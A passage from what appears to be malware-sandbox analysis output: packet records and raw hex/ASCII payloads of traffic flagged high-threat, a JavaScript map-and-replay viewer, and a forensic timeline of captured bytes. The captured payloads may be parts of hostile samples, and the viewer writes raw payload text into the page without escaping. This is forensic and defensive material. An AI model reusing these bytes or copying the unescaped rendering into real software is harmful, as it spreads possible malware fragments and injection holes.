f82ceeb596401bda276114e9108c53bbf1d29cc93990908fe4634f8b2d6852023063c2bc9125cd07ad519fc2d9a28f0ec344bf09cf60556e0b93996e0cb3bbf62059e576009bea27bbe0578d6cc224bf065bd8556e0596596e082fe2badc0b32b2dc17306afb002cf0d5a822f1f9d0715fb5434785e07804331e02bcae659b465c1cca1cba1934453175cd666099e950d60d737a3c1053d73c1120ace35806717cd85cefd4dd73738521dc531a77b0ec88f1134b712c0aea7a3c1970fce06f931e0796d000e5f140dbea200c0a168ead93307206c8463c097b501d8f5ad68f0ac420c3231e082c159203b063cbb1dc0e118f09c2200bbbe1d0d9edb7f19c88e015f3e7a21507ba3c1f37a675a81af08023814edfc9c994900f64553cfb9ac\", \"payload_ascii\": \"\\b4\\u000fQ?Z~fb4).5.=YK5xC<L0yq17Z[~N4>X5*_9\\u0001!8>\\nx\\t \\u0002_p//7VWa\\u0007[\\u000f3F\\u001d\\u0017`Z\\u0019\\bQD}Q5q:\\u001fFne\\u0002\\u001fp,:\\u0004Y0\\u000eq>2u\\u0015L_0Dk'-:Gh\\u001aK\\tjAp\\u001ck\\\"kp5\\u001a\\\\\\u001eiE\\bz\\u001959t\\u000f\\t!>\\u001fU\\u0007'FMC\\u0003tk\\u007f\\u001b\\u001eF1\\r\\u001eAe(\\u007fV3\\u0011{<i?\\u0010\\u0003i\\u007f',5E\\u001d1\\u0010FCpR5x\\u0000\\u0007\\frmNpL\\u0004NNpp<~\\\"~K(\\u000ejTDX= y|\\u001b@\\f\\u0010\\u0012s_\\u0011W{i\\u007fx*#XR\\u0013\\u000b\\u001bwC6!x\\u0006}V3\\t1fQ\\u0013N\\u001c\\u0013[2y\\u000bo\\u001d'Tj0\\u0011\\u0015\\u0013\\u0000o\\u0007]\\u000f]Q\\u0000\\u007f\\u001b\\u0018_\\u001d2E\\u0003\\u0000du\\u0006bR\\u0018yLC$i}OL3\\u001c_\\u000ep+k3\\\\;r\\tlYH9ev5\\u0004:Xw\\u0004\\b \\u0004\\u0001<Z\\u0011?\\b(*\\n+o[\\u0001\\u0003f\\u007f;tL64\\u001a<_Y\\tv\\u001f >.CWw}z\\u0001\\u0010\\u000fD$\\u001d8'\\u0000&2k\\u0004.S\\f{y,6\\u0016\\u0014\\u00055E@zn\\u0001\\u001bg\\u0002\\u0003\\ni51B-Xh\\u001aX,`M\\u0016A\\u000b#{\\u0003V6f\\u007fj\\u0005-fp\\u0011<~\\u0010o,9\\u0017E\\ftt\\f}\\u001a\\u000f\\u0013\\u0017S\\u0010\\u0017Si~c\\\\jj\\u0015]}q1\\u0003q1Cq19\\u007fkBQ|Ti|TY|TY\\u0016\\u0017\\u0011\\u0017\\u0015,)W.4F\\t\\u0002.t7p\\u0002\\u001e[\\u0018i;GiH2[%YU_(gFYHTWI\\u0003Rm\\b\\u0007>:E&i!zt4hx?%miDl'^[\\f~\\u001d\\t\\u0004o\\\\t\\u0002\\u0016&\\u0001\\u0018\\u001fD\\u001aL;5\\u0001\\u007fD~%\\u0013\\u0015Tbu\\u001d\\u001b7\\\\\\u0004'\\u0006U\\f\\u0017zw=\\u001eEW\\u001b\\u000biJo.\\u0005h8\\u001a:g`\\u0005tn\\u00154Yd\\u0001v\\u0011N\\b;\\u001d)\\t\\bF4 #\\u0006<+\\u0012\\\\z\\u0019-(4K\\u0005V9;b\\u0005W`\\t{\\u0005x\\\"KeVYe++-s\\u0006\\u0002\\rZ/\\u001f\\u0007\\u0015T4x^\\u0007C1+YeDS\\u0017\\\\f\\t\\r`7\\u0005=s\\u0012\\n5g\\u0017M78R\\u001d1{\\u000e\\u00114\\u0012\\u000f\\u00061ym\\u0000\\u000e_\\u0014\\r\\u0000h3\\u0007 lc\\u0001hB\\f21Y ;\\u0006<\\u001d\\u0018\\\"\\u0000\\u001d\\r\\u007f\\u0019\\u0001_>z!P{zgZ\\b\\u00028\\u0014I\\u0000ES\"}, {\"packet_number\": 2, \"timestamp\": 1784368944.151598, \"timestamp_iso\": \"2026-07-18T15:32:24.151598\", \"timestamp_human\": \"2026-07-18 15:32:24.151\", \"size\": 1514, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"Raw\"], \"src_ip\": \"194.36.32.206\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 37180, \"ip_len\": 1500, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 64178, \"tcp_seq\": 4192091768, \"tcp_ack\": 3948824745, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\", \"payload_size\": 1460, \"payload_preview\": \"fe6e071c383d74a6e2405f1bc6871ce0dd5754b7bef547e340671b6cfdf71c441c70f0331ca4ef6c106a29071cfc0c07ef3d701a2f38e0e0873858246f6c111ac982030e7e8c83e20f08fefedbe45172113f1a07aaf860e38003838d030e0c360e3830d838e0c060e38003838d030e0c360e3830d838e0c060e38003838d030e0c360e3830d838e0c060e38003838d030e0c360e3830d838e0c060e38003838d030e0c360e3830d838e0c060e380838babfc57b8e697f893cd39e0e06c95fff6507a893f997fe79783f3d53af4dfbb3e59897ff79d83b3f5ebd0f73f3859ff153f59d73dc4c139ea5fecfb520ebc632607672bbed8dfbaed8b9da938b8bea687be7dd3c9aa5decce85832bac76a10f184d3d6ccac1b9971fa3cbfbb9bc4d2007c6dbe5fae4e08a370897f78c72f92c9aed010767ab7591efd73df06c3207e71f7117f78851c3b28883b3363fc25bfa1dbde59b0fa6ee1d0ecebb23bdb02548e3e0775fe6405fab7c415b303cfc40d9aa634d0776c91c9c7d42a83d1d88e071d86d144fcab5bac3c70329cccae9a0e39ee1e0fc13c2412f697b1ab677de3a393e48c2addd0107dfd072dc4df69f0bee6a7fbd89f801121e02bb030ebea1b41cc68dd9be93413b78a568dfc32d57450dd30107e76e588edc7676c0b8cd0b57ada784fd2064ad63eddb39d017ebecbf455833083ba3e97cb19827a34e780884f22f8382dfee130ebe6165d40cf67c79c5636da520d93a5ab494d078fcfaf1caa7b783a6551107df5112ee0761c5a09eec5e1d2f5dd51ef763104edd231c7ce316211864fb30f8fbd777ba17846cc9c0e680836f6b3504bb4fc760b01f84a728082ef2d5af1cfc3c085fd8ddbec3601f08eb1d37061c5c008460981d81c1972164c31a061c5c0484cd039ed9e10cbe06219bac9e8c0b31e0e0bb1bd7374f067f286152fbf011ce35840f5fb191cd6e57dfb81ebb1738f8f65623b790f0c18b46972f8d0e6ee6efdd687e137ce2af7cb2c95a81e70d38b890fe59bf2c2268c5b337ff9620fb148367086f6e39b26ceba5aa617fee0ee0e0329a3637128256ef61f6f75fd664d963f7730c9e2144b3bf8f9265b387def36bf4c266e2ec737039c55b12f2d57dbb1b0d768a5ac167193c43c84dbd384ad4da79b5767de8cc737059bb84e18e84b7fa0c832d08ef15d60796441c5ce09c70f3918430fae4c89dfff3e1a13a230a38b8d049a17f1386effc02ffc232267e677a09c3ce60ea6c7370c914e27e67fb2f6b9effdee6abbfc0f3e9e595a384f59b7e6c26e0a0121892f16877873b1aef3176d3974789e3247576399038903890389038903890389038903890389038903890389038903890389038903890389038903890389038b8b6b2a7a7ecb4dfc039e6e0f2ebd782d6ec840a1e7af193b3ccc18557be976c637eb2e3b74f7b780e74b4711a04a3531d3e3eede139d071fab57cd7c0531d7ef936b17de79983cb2ef9ccbb9b1d381d04f7ce3307175ee3941342e3b4b30d073af2afecc1098f6d3ae0a02a1342ed040f6ece4c071c546d4238c15ef6d674c041755abdadebe444c09ace30075568f59051e3c82ba3d5aa28983ac31c54a2fe72c0764fb22a8a9c5f0eaad1bcbe1cb2c3631e74b09a6552e797838a340e8ebe45980436c91c547465543bda0b4fd79b839e73cb41855646cdd52a66765c06cdb973cb41854aebc784b06650b739e0a0625b84f07810d60c82b1f3ca41c51a06c782b06130705639a85c833584c7c38ef3880107d70021181ef0a7f5d9b0860107d701a1bff74b2c9efa01061c5c0b847d37099b3511061c541942b819c77bac8d9e368e420c38a872c3fa664a88bf28219b6c26837aec4c7250e9d2e67a3007dd59f61505edcd1736a7ce23075587106dd6464134c9beae20eccc9d450eae696d1404ed38fb9042f6f4f0ac20a80f9d410eae634ae83c4f0941239f14dea19065935e2dd89a0c52e78f836b297ede2594141e66af59c8b2a7bb6d0426030eae6d4a1884c14eadee70f2986d357b18468ddddbd40776061c5cf1\", \"payload_ascii\": \"n\\u0007\\u001c8=t@_\\u001b\\u001cWTG@g\\u001bl\\u001cD\\u001cp3\\u001cl\\u0010j)\\u0007\\u001c\\f\\u0007=p\\u001a/88X$ol\\u0011\\u001a\\u0003\\u000e~\\u000f\\bQr\\u0011?\\u001a\\u0007`\\u0003\\u0003\\u000e\\f6\\u000e808`\\u0003\\u0003\\u000e\\f6\\u000e808`\\u0003\\u0003\\u000e\\f6\\u000e808`\\u0003\\u0003\\u000e\\f6\\u000e808`\\u0003\\u0003\\u000e\\f6\\u000e808`W9lPz?\\u007f:>Y\\u007f?8Y\\u0015?Y=9_R\\u000ec&\\u0007g+8}]+v\\u000f\\u0018M=l\\u001fM \\u00077\\br,\\u0001\\u0007gu=l2\\u0007\\u001fq\\u0017Q6?[\\u001d\\u000f\\u001d\\u000e#%Hw_@_|A[0<@cM\\u0007v\\u001c}B=\\u001dqm\\u0014O\\u0003)\\u0013A/i{\\u001aw:9>H\\u0001\\u0007rM\\u000bj\\u007f\\u0001\\u0012\\u001e\\u0002\\u0003\\u000e\\u001cA;xh-WE\\r\\u0001\\u0007nXvv\\u000bW dc9\\u0017EX3\\b;|'Nx\\b/\\u0013\\u000eae\\f|ycm :ZxU\\u0011\\u0007Q\\u0012\\u0007a^\\u001d/]\\u001ec\\u0010N#\\u001c|\\u0016!\\u0018d0w\\u0017lok5\\u0004O`\\u001f(\\b.\\u001c<\\b_`\\u001f\\b\\u001d7\\u0006\\u001c\\\\\\u0000`\\u001d!d\\u001a\\u0006\\u001c\\\\\\u0004\\u0003\\f\\u0006!\\u000b1\\u001b7O\\u0006\\u007f(aR\\u00115\\u000f_nW\\u001e\\u00178V#F/\\u000enh~\\u0013||Z\\r8Y,\\\"h7 \\u0014g\\bon9la\\u007f\\u000e267\\u0012Va_dcs\\f!Dekfsp9[\\u0012}\\u001b\\rvZg\\u0019<CM8Jyv}spY\\f-\\b\\u0015\\u0007D\\u001c\\\\p0:#\\n8I\\u007f\\u0013\\u00022&~gz\\t`lsp\\u0014~g/k~l&\\u0012\\u0018hw;\\u001a1vG$uv988888888888888888888889\\n\\u001ezWlc~O{x\\u000etq\\u001a\\u0004S\\u001d>>9q|S\\u001d~6}.\\u001d8\\u001d\\u00043\\u0007\\u0017^\\u0013B\\r\\u0007:\\tm:*\\u0013B\\u0004\\u000fnL\\u0007\\u001cTmB8^tAuZD0\\u0007UhQ+(:\\u001cTrvO*_\\u000e\\u001cc\\u001eteR4\\u000eE\\u00046\\u001cTteT;\\u000bOsAVF*fv\\\\\\u0006sAJfP9b[x\\u0010\\fA\\u001a\\u0006a0pV9\\\\5\\u0001\\u0007\\u0000!\\u0018\\u001e\\u0001\\u0007\\u0001K,\\u0001\\u0006\\u001c\\\\\\u000b}7\\t5\\u0011\\u0006\\u001cT\\u0019B\\u0019{6B\\f8rfJ(!l&zLrPz0\\u0007Y\\u0015\\u0005\\u00176#\\u0007U\\u0010mFA4 E\\u000eim\\u0014\\u00048B \\u000fA\\u000ecJ<O\\tA#\\u0014e^-\\fRk)~%\\u0014\\u001efYm\\u0004&\\u0003\\u000emJ\\u0018Npm5{\\u0018F\\u0007v\\u0006\\u001c\\\\\"}], \"tcp_flags\": {\"ACK\": 2}, \"packet_sizes\": [1514, 1514], \"inter_packet_intervals\": [0.0010099411010742188], \"connection_type\": \"TCP Data\", \"threat_level\": \"high\", \"duration\": 0.0010099411010742188, \"avg_packet_size\": 1514.0, \"packets_per_second\": 1980.3135033050048, \"bytes_per_second\": 2998194.6440037773, \"min_packet_size\": 1514, \"max_packet_size\": 1514, \"median_packet_size\": 1514, \"avg_interval\": 0.0010099411010742188, \"min_interval\": 0.0010099411010742188, \"max_interval\": 0.0010099411010742188}, {\"source\": \"10.152.152.11\", \"target\": \"194.36.32.206\", \"packet_count\": 2, \"total_bytes\": 108, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ports\": [64179, 64178], \"dst_ports\": [80], \"first_packet\": 1784368944.150683, \"last_packet\": 1784368944.151708, \"packets\": [{\"packet_number\": 1, \"timestamp\": 1784368944.150683, \"timestamp_iso\": \"2026-07-18T15:32:24.150683\", \"timestamp_human\": \"2026-07-18 15:32:24.150\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"194.36.32.206\", \"ttl\": 128, \"ip_id\": 20, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64179, \"dst_port\": 80, \"tcp_seq\": 971166325, \"tcp_ack\": 971166325, \"tcp_window\": 0, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": true, \"PSH\": false, \"ACK\": false, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"RST\"}, {\"packet_number\": 3, \"timestamp\": 1784368944.151708, \"timestamp_iso\": \"2026-07-18T15:32:24.151708\", \"timestamp_human\": \"2026-07-18 15:32:24.151\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"194.36.32.206\", \"ttl\": 128, \"ip_id\": 22, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64178, \"dst_port\": 80, \"tcp_seq\": 3948824745, \"tcp_ack\": 3948824745, \"tcp_window\": 0, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": true, \"PSH\": false, \"ACK\": false, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"RST\"}], \"tcp_flags\": {\"RST\": 2}, \"packet_sizes\": [54, 54], \"inter_packet_intervals\": [0.0010249614715576172], \"connection_type\": \"TCP Data\", \"threat_level\": \"high\", \"duration\": 0.0010249614715576172, \"avg_packet_size\": 54.0, \"packets_per_second\": 1951.292858804373, \"bytes_per_second\": 105369.81437543615, \"min_packet_size\": 54, \"max_packet_size\": 54, \"median_packet_size\": 54, \"avg_interval\": 0.0010249614715576172, \"min_interval\": 0.0010249614715576172, \"max_interval\": 0.0010249614715576172}];\n        \n        // Unified Timeline Data\n        const allPackets = [];\n        edges.forEach(e => {\n            e.packets.forEach(p => {\n                allPackets.push({\n                    ...p,\n                    source: e.source,\n                    target: e.target,\n                    protocols: p.protocols\n                });\n            });\n        });\n        allPackets.sort((a, b) => a.timestamp - b.timestamp);\n\n        // Map Setup\n        const map = L.map('map', {\n            center: [20, 0],\n            zoom: 2,\n            minZoom: 2,\n            maxBounds: [[-90, -180], [90, 180]],\n            maxBoundsViscosity: 1.0,\n            worldCopyJump: false\n        });\n\n        L.tileLayer('https://{s}.basemaps.cartocdn.com/light_all/{z}/{x}/{y}{r}.png', {\n            attribution: '©OpenStreetMap, ©CartoDB',\n            noWrap: true,\n            bounds: [[-90, -180], [90, 180]]\n        }).addTo(map);\n\n        // Projection Helper for Private IPs\n        function getPos(node) {\n            if (node.is_private) {\n                // Place private nodes in the stylized \"Pvt Zone\" (North Pacific area)\n                // Offset slightly per node to avoid overlap\n                const idx = nodes.filter(n => n.is_private).indexOf(node);\n                const pvtLat = 50 + (idx % 5) * 2;\n                const pvtLon = -160 + Math.floor(idx / 5) * 5;\n                return [pvtLat, pvtLon];\n            }\n            return [node.geo.lat || 0, node.geo.lon || 0];\n        }\n\n        // Initialize positions\n        nodes.forEach(n => {\n            const pos = getPos(n);\n            n.currentLat = pos[0];\n            n.currentLon = pos[1];\n        });\n\n        // D3 Overlay\n        L.svg().addTo(map);\n        const svg = d3.select(map.getPanes().overlayPane).select(\"svg\");\n        const g = svg.append(\"g\").attr(\"class\", \"leaflet-zoom-hide\");\n\n        // Scale node radius by traffic volume\n        const nodeScale = d3.scaleSqrt()\n            .domain([0, d3.max(nodes, d => d.packet_count) || 100])\n            .range([5, 20]);\n\n        const link = g.selectAll(\".link\")\n            .data(edges)\n            .enter().append(\"path\")\n            .attr(\"class\", \"link\")\n            .attr(\"stroke\", e => e.threat_level === 'critical' ? '#ef4444' : '#94a3b8')\n            .attr(\"stroke-width\", 1.5)\n            .on(\"click\", (e, d) => inspectFlow(d));\n\n        const node = g.selectAll(\".node\")\n            .data(nodes)\n            .enter().append(\"circle\")\n            .attr(\"class\", \"node\")\n            .attr(\"r\", d => nodeScale(d.packet_count))\n            .attr(\"fill\", d => d.is_private ? \"#3b82f6\" : \"#10b981\")\n            .attr(\"stroke\", \"#fff\")\n            .attr(\"stroke-width\", 2)\n            .on(\"click\", (e, d) => inspectNode(d));\n\n        node.append(\"title\").text(d => d.ip);\n\n        function updatePositions() {\n            node.attr(\"cx\", d => map.latLngToLayerPoint([d.currentLat, d.currentLon]).x)\n                .attr(\"cy\", d => map.latLngToLayerPoint([d.currentLat, d.currentLon]).y);\n\n            link.attr(\"d\", d => {\n                const s = nodes.find(n => n.id === d.source);\n                const t = nodes.find(n => n.id === d.target);\n                if (!s || !t) return \"\";\n                const sp = map.latLngToLayerPoint([s.currentLat, s.currentLon]);\n                const tp = map.latLngToLayerPoint([t.currentLat, t.currentLon]);\n                return `M${sp.x},${sp.y}L${tp.x},${tp.y}`;\n            });\n        }\n\n        map.on(\"viewreset move\", updatePositions);\n        updatePositions();\n\n        // Stats\n        document.getElementById('stat-nodes').innerText = nodes.length;\n        document.getElementById('stat-edges').innerText = edges.length;\n        document.getElementById('stat-pkts').innerText = allPackets.length;\n\n        // --- Replay Logic ---\n        let replayIdx = 0;\n        let isPlaying = false;\n        let replayTimer = null;\n        const timeline = document.getElementById('timeline');\n        const timeDisplay = document.getElementById('time-display');\n\n        function toggleReplay() {\n            isPlaying = !isPlaying;\n            document.getElementById('play-icon').className = isPlaying ? \"fas fa-pause\" : \"fas fa-play\";\n            if (isPlaying) runReplay();\n            else clearInterval(replayTimer);\n        }\n\n        function runReplay() {\n            clearInterval(replayTimer);\n            replayTimer = setInterval(() => {\n                if (replayIdx >= allPackets.length) {\n                    toggleReplay();\n                    return;\n                }\n                processPacket(allPackets[replayIdx]);\n                replayIdx++;\n                const progress = (replayIdx / allPackets.length) * 100;\n                timeline.value = progress;\n            }, 150);\n        }\n\n        function seekReplay(val) {\n            const targetIdx = Math.floor((val / 100) * (allPackets.length - 1));\n            replayIdx = targetIdx;\n            if (allPackets[replayIdx]) {\n                processPacket(allPackets[replayIdx]);\n            }\n        }\n\n        function processPacket(pkt) {\n            timeDisplay.innerText = pkt.timestamp_human.split(' ')[1];\n            animatePacket(pkt.source, pkt.target);\n            updateLiveInspector(pkt);\n        }\n\n        function animatePacket(srcId, dstId) {\n            const s = nodes.find(n => n.id === srcId);\n            const t = nodes.find(n => n.id === dstId);\n            if (!s || !t) return;\n            \n            const sp = map.latLngToLayerPoint([s.currentLat, s.currentLon]);\n            const tp = map.latLngToLayerPoint([t.currentLat, t.currentLon]);\n\n            const p = g.append(\"circle\")\n                .attr(\"r\", 4)\n                .attr(\"class\", \"packet-particle\")\n                .attr(\"cx\", sp.x)\n                .attr(\"cy\", sp.y);\n\n            p.transition()\n                .duration(800)\n                .ease(d3.easeLinear)\n                .attr(\"cx\", tp.x)\n                .attr(\"cy\", tp.y)\n                .remove();\n        }\n\n        function updateLiveInspector(pkt) {\n            const srcNode = nodes.find(n => n.id === pkt.source);\n            const dstNode = nodes.find(n => n.id === pkt.target);\n            \n            const body = document.getElementById('inspect-body');\n            \n            // Format payload\n            let payloadHtml = \"\";\n            if (pkt.payload_preview) {\n                const hex = pkt.payload_preview.match(/.{1,2}/g).join(' ');\n                payloadHtml = `\n                    <div class=\"sec-title\">Payload (Hex)</div>\n                    <div class=\"hex-dump\" style=\"max-height: 150px; overflow-y: auto; font-size: 0.7rem;\">${hex}</div>\n                `;\n            } else if (pkt.payload_ascii) {\n                payloadHtml = `\n                    <div class=\"sec-title\">Payload (ASCII)</div>\n                    <div class=\"hex-dump\" style=\"max-height: 150px; overflow-y: auto; font-size: 0.7rem;\">${pkt.payload_ascii}</div>\n                `;\n            }\n\n            body.innerHTML = `\n                <div class=\"info-card\" style=\"border-left: 4px solid var(--accent-main)\">\n                    <div class=\"sec-title\">Live Replay Analysis</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Packet ID</span><span class=\"data-value\">#${pkt.packet_number}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Timestamp</span><span class=\"data-value\">${pkt.timestamp_human}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Protocols</span><span class=\"data-value\">${pkt.protocols.join(' → ')}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Size</span><span class=\"data-value\">${pkt.size} Bytes</span></div>\n                </div>\n\n                <div class=\"info-card\">\n                    <div class=\"sec-title\">Source: ${pkt.source}</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Location</span><span class=\"data-value\">${srcNode.geo.city}, ${srcNode.geo.country}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">ISP / ASN</span><span class=\"data-value\">${srcNode.geo.isp} (AS${srcNode.geo.asn})</span></div>\n                </div>\n\n                <div class=\"info-card\">\n                    <div class=\"sec-title\">Destination: ${pkt.target}</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Location</span><span class=\"data-value\">${dstNode.geo.city}, ${dstNode.geo.country}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">ISP / ASN</span><span class=\"data-value\">${dstNode.geo.isp} (AS${dstNode.geo.asn})</span></div>\n                </div>\n\n                ${pkt.tcp_flags_str ? `<div class=\"info-card\"><div class=\"sec-title\">TCP Flags</div><div class=\"data-value\">${pkt.tcp_flags_str}</div></div>` : ''}\n                ${pkt.dns_query ? `<div class=\"info-card\"><div class=\"sec-title\">DNS Query</div><div class=\"data-value\">${pkt.dns_query}</div></div>` : ''}\n\n                <div class=\"info-card\">\n                    ${payloadHtml || '<div class=\"data-label\">No raw payload data</div>'}\n                </div>\n            `;\n        }\n\n        function inspectNode(d) {\n            document.getElementById('inspect-title').innerText = `Node: ${d.ip}`;\n            const body = document.getElementById('inspect-body');\n            body.innerHTML = `\n                <div class=\"info-card\">\n                    <div class=\"sec-title\">Investigation Metadata</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Country</span><span class=\"data-value\">${d.geo.country}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">City</span><span class=\"data-value\">${d.geo.city}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">ISP</span><span class=\"data-value\">${d.geo.isp}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">ASN</span><span class=\"data-value\">${d.geo.asn}</span></div>\n                </div>\n                <div class=\"sec-title\">Traffic Intensity</div>\n                <div class=\"stat-grid\">\n                    <div class=\"stat-box\"><div class=\"stat-v\">${d.packet_count}</div><div class=\"stat-l\">Packets</div></div>\n                    <div class=\"stat-box\"><div class=\"stat-v\">${(d.total_bytes_sent/1024).toFixed(1)}</div><div class=\"stat-l\">KB Sent</div></div>\n                    <div class=\"stat-box\"><div class=\"stat-v\">${(d.total_bytes_received/1024).toFixed(1)}</div><div class=\"stat-l\">KB Recv</div></div>\n                </div>\n                <div class=\"sec-title\" style=\"margin-top:20px;\">Recent Packets</div>\n                ${d.packets.slice(-10).map(p => {\n                    const pStr = JSON.stringify(p).replace(/\"/g, '&quot;');\n                    return `\n                        <div class=\"packet-list-item\" onclick=\"showPacketDetails('${d.ip}', ${pStr})\">\n                            <span>#${p.num} - ${p.direction.toUpperCase()}</span>\n                            <span>${p.size}B</span>\n                        </div>\n                    `;\n                }).join('')}\n            `;\n        }\n\n        function inspectFlow(d) {\n            const s = nodes.find(n => n.id === d.source);\n            const t = nodes.find(n => n.id === d.target);\n            document.getElementById('inspect-title').innerText = `Flow: ${d.source} → ${d.target}`;\n            const body = document.getElementById('inspect-body');\n            body.innerHTML = `\n                <div class=\"info-card\">\n                    <div class=\"sec-title\">Flow Characteristics</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Protocols</span><span class=\"data-value\">${d.protocols.join(', ')}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Total Traffic</span><span class=\"data-value\">${(d.total_bytes / 1024).toFixed(2)} KB</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Threat Level</span><span class=\"data-value\" style=\"color:${d.threat_level === 'low' ? 'var(--accent-success)' : 'var(--accent-danger)'}\">${d.threat_level.toUpperCase()}</span></div>\n                </div>\n                <div class=\"sec-title\">Packet Log</div>\n                ${d.packets.slice(-15).map(p => `\n                    <div class=\"packet-list-item\" style=\"border-left: 3px solid var(--accent-main)\">\n                        <div>\n                            <div style=\"font-weight:700\">#${p.packet_number} [${p.protocols[p.protocols.length-1]}]</div>\n                            <div style=\"font-size:0.75rem; color:var(--text-secondary)\">${p.timestamp_human.split(' ')[1]}</div>\n                        </div>\n                        <div style=\"text-align:right\">\n                            <div>${p.size}B</div>\n                        </div>\n                    </div>\n                `).join('')}\n            `;\n        }\n\n        function showPacketDetails(ip, p) {\n            const body = document.getElementById('inspect-body');\n            document.getElementById('inspect-title').innerText = `Packet Inspection`;\n            document.getElementById('inspect-subtitle').innerText = `IP: ${ip}`;\n            \n            let payloadHtml = \"\";\n            if (p.payload_preview) {\n                const hex = p.payload_preview.match(/.{1,2}/g).join(' ');\n                payloadHtml = `\n                    <div class=\"sec-title\">Payload (Hex)</div>\n                    <div class=\"hex-dump\" style=\"max-height: 200px; overflow-y: auto; font-size: 0.7rem;\">${hex}</div>\n                `;\n            } else if (p.payload_ascii) {\n                payloadHtml = `\n                    <div class=\"sec-title\">Payload (ASCII)</div>\n                    <div class=\"hex-dump\" style=\"max-height: 200px; overflow-y: auto; font-size: 0.7rem;\">${p.payload_ascii}</div>\n                `;\n            }\n\n            body.innerHTML = `\n                <div class=\"info-card\" style=\"border-left: 4px solid var(--accent-main)\">\n                    <div class=\"sec-title\">Packet Details</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Timestamp</span><span class=\"data-value\">${p.timestamp_human}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Protocols</span><span class=\"data-value\">${p.protocols ? p.protocols.join(' → ') : 'N/A'}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Byte Size</span><span class=\"data-value\">${p.size}</span></div>\n                </div>\n\n                ${p.tcp_flags_str ? `<div class=\"info-card\"><div class=\"sec-title\">TCP Control Flags</div><div class=\"data-value\">${p.tcp_flags_str}</div></div>` : ''}\n                ${p.dns_query ? `<div class=\"info-card\"><div class=\"sec-title\">DNS Query Resolve</div><div class=\"data-value\">${p.dns_query}</div></div>` : ''}\n\n                <div class=\"info-card\">\n                    ${payloadHtml || '<div class=\"data-label\">No raw payload data available</div>'}\n                </div>\n                \n                <button class=\"btn\" onclick=\"zoomToWorld()\" style=\"width:100%; margin-top:10px; padding:10px;\">Return to Overview</button>\n            `;\n        }\n\n        function closePacketPanel() {\n            // No longer used as we use the side panel\n        }\n\n        function zoomToWorld() {\n            map.flyTo([20, 0], 2);\n        }\n    </script>\n</body>\n</html>\n"},{"_id":{"$oid":"6a5c89d4b3bed57e0e737895"},"sha256":"0aac658075b7d9e81419d0beaa3db796569bc14fd57512f4479fb36e9cc4c1a2","timestamp":{"$date":"2026-07-19T13:54:52.286Z"},"analysis_successful":true,"csv_reports":{"network_analysis_domains_ips.csv":"name,ip,src,av detection,reputation,malicious,internal/ external\nip-api.com,208.95.112.1,HTTP Host,0/70,Neutral,No,External\nhttp://ip-api.com,208.95.112.1,HTTP URL,0/70,Neutral,No,External\n","forensic_timeline.csv":"timestamp,category,event,details\n0.0,NGrep,input: /tmp/filtered_q_yppgne.pcap,\"Payload: filter: ((ip || ip6) || (vlan && (ip || ip6)))\nmatch (JIT): .\n####\nT 10.152.152.11:63950 -> 216.58.201.197:443 [AP] #4\n..................].Kx..F..'..7*......Z*o.  .!..D...s..Ti..+.........S|...... .............+./.,.0........./.5....jj..D......h2.+...**..................................3................i.p\\z...S.<.9...K.....CEZ.........S..<..lr..I..'.t4S.......B....xmQV?..b........I/@...76.Yz.~..'.H.)..<'.Pe...Y..j.f......HN!......DAl{o.\ns...'..@. ...C1!.h.)Kp.}...t..\n.0...;..N%~ ....y4..].....zQr..`.tfB..'.J@3..+1...K.qpj]m.9.P.p.o....!L.s....^....=.......7b'.......G........[F....u..... ..h..?..t.....j..]....<..0*.tNc...@tL&.>.Rj.&....78.....ZVUT.c...^.In..rI.8:..g..V@B.....-^.\"\".....N.;5.......5.1,e>.*..V..y......i`8.j2\\...;..Yt/aq....gpm.g..T}......E..)..+..eR'l.1....#........n.a3..>XD....a.S..K...S#:H.....3......25....G.X.k..+o.....0.......e........=+.....B.X.';..7. ...dLQ`.Kw.y..[CYg'..7....6).LE...{..!..ltE..-.....J1..;...v^.6...,....zZ...>..`h.{..'6..H7rw..[@..'.LA.pGj'..XV}..8Ja....U...Ky...2Jpb.7.3..\\.5..\n...x..... .......C.O...'.... 